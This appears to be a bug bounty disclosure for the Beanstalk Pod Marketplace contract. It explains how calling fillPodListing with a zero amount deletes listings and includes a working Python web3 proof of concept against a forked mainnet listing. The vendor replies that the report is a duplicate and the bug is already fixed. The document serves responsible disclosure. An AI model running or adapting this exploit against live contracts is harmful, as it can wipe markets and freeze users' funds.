Attacker can cancel every single listing on the Pod Marketplace
Report ID
#12832
Target
https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5
Report type
Smart Contract
Impacts
Permanent freezing of funds
Has PoC?
Yes
Bug Description
An attacker can completely DOS the pod marketplace by cancelling every existing listing and any new listing transactions.
The attack is simple: call fillPodListing()
with an amount of 0. The reason this invalidates the listing is because of function __fillListing()
:
function __fillListing(
address to,
PodListing calldata l,
uint256 amount
) private {
// Note: If l.amount < amount, the function roundAmount will revert
if (l.amount > amount)
s.podListings[l.index.add(amount).add(l.start)] = hashListing(
0,
l.amount.sub(amount),
l.pricePerPod,
l.maxHarvestableIndex,
l.mode
);
emit PodListingFilled(l.account, to, l.index, l.start, amount);
delete s.podListings[l.index];
}
Since the attacker sends an amount of 0
, the amount
parameter will also be 0. Therefore, l.amount > 0
so the if statement is executed. The podListing is overwritten by the exact same parameters, and then deleted in the final line.
Example:
- l.index = 100
- l.start = 0
- l.amount = 10
- All other parameters are unimportant
- Attacker calls
fillPodListing()
withbeanAmount
of 0, which eventually calculates to an amount of 0 passed into__fillListing()
. l.amount > 0
(100 > 0)s.podListings[100+0+0] = hashListing(...)
- Since amount is 0 and start is 0, the podListing at index 100 is overwritten.
- Finally, the final line
delete s.podListings[l.index];
executes. s.podListings[100]
is deleted, deleting the entire listing.
NOTE: Listings with a non-zero start value are susceptible as well, but it will take two transactions to delete them. The first transaction creates a new listing at index + start
and then the second transaction must be called at index + start
to delete it.
NOTE: The libTransfer from mode parameter is unimportant. 0 or 1 both work.
Impact
- Pod Marketplace is rendered useless. All listings can be deleted by anyone.
- The attacker will be able to set their desired price for pods. They will control the entire market. This unfair advantage will directly affect the value of users' funds.
- User funds are affected because they will not be able to purchase/sell pods. Expected profits will not be executed. Funds that would normally flow through the Beanstalk protocol will be frozen.
Risk Breakdown
Difficulty to Exploit: Easy
Recommendation
Deleting the pod listing as the first step of __fillListing()
would remedy the issue.
Proof of concept
This POC invalidates a single listing that is currently shown on https://app.bean.money/#/market. Note that all listings can be invalidated, but only a single listing was used for demonstration purposes.
This POC is written in Python using the web3.py package.
from web3 import Web3
import json
## ganache-cli --fork https://rpc.ankr.com/eth -u 0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c
if __name__ == "__main__":
######## ABIs ########
BEANSTALK_ABI_RAW = [
{
"inputs": [{"internalType": "uint256", "name": "index", "type": "uint256"}],
"name": "podListing",
"outputs": [{"internalType": "bytes32", "name": "", "type": "bytes32"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [
{
"components": [
{
"internalType": "address",
"name": "account",
"type": "address",
},
{"internalType": "uint256", "name": "index", "type": "uint256"},
{"internalType": "uint256", "name": "start", "type": "uint256"},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256",
},
{
"internalType": "uint24",
"name": "pricePerPod",
"type": "uint24",
},
{
"internalType": "uint256",
"name": "maxHarvestableIndex",
"type": "uint256",
},
{
"internalType": "enum LibTransfer.To",
"name": "mode",
"type": "uint8",
},
],
"internalType": "struct Listing.PodListing",
"name": "l",
"type": "tuple",
},
{"internalType": "uint256", "name": "beanAmount", "type": "uint256"},
{
"internalType": "enum LibTransfer.From",
"name": "mode",
"type": "uint8",
},
],
"name": "fillPodListing",
"outputs": [],
"stateMutability": "payable",
"type": "function",
},
]
######## Initial Setup ########
rpc = "http://127.0.0.1:8545"
web3 = Web3(Web3.HTTPProvider(rpc))
listing_owner = "0x57B649E1E06FB90F4b3F04549A74619d6F56802e"
listing_index = 65961902893995
listing_start = 0
listing_amount = 72176750090
listing_price_per_pod = 680000
listing_max_harvestable_index = 65961902893995
listing_mode = 0
## Random address with Ether
attacker = "0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c"
## Beanstalk Contract
beanstalk_address = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5"
beanstalk_ABI = json.loads(json.dumps(BEANSTALK_ABI_RAW))
beanstalk = web3.eth.contract(address=beanstalk_address, abi=beanstalk_ABI)
######## Start Exploit ########
print("STARTING ATTACK.", end="\n\n")
print("Checking listing exists.")
print(beanstalk.functions.podListing(listing_index).call(), end="\n\n")
print("Filling order.")
listing_struct = [
listing_owner,
listing_index,
listing_start,
listing_amount,
listing_price_per_pod,
listing_max_harvestable_index,
listing_mode,
]
beanstalk.functions.fillPodListing(listing_struct, 0, 1).transact(
{"from": attacker}
)
print("Order filled with 0 amount.", end="\n\n")
print("Checking listing exists.")
print(beanstalk.functions.podListing(listing_index).call(), end="\n\n")
print("END ATTACK.")
BIC Response
Thank you for reporting this! This issue had already been reported by another whitehat on Immunefi on 10/23/22. You can see that the code that fixed the bug was committed 22 hours ago: https://github.com/BeanstalkFarms/Beanstalk/pull/135/commits/fac12041378a090bec6de735db6b88650455b3df
You can find more information in EBIP-3 here: https://github.com/BeanstalkFarms/Beanstalk/pull/135
The bug bounty program only pays a reward to the first report of any particular issue, so this report will not receive a reward.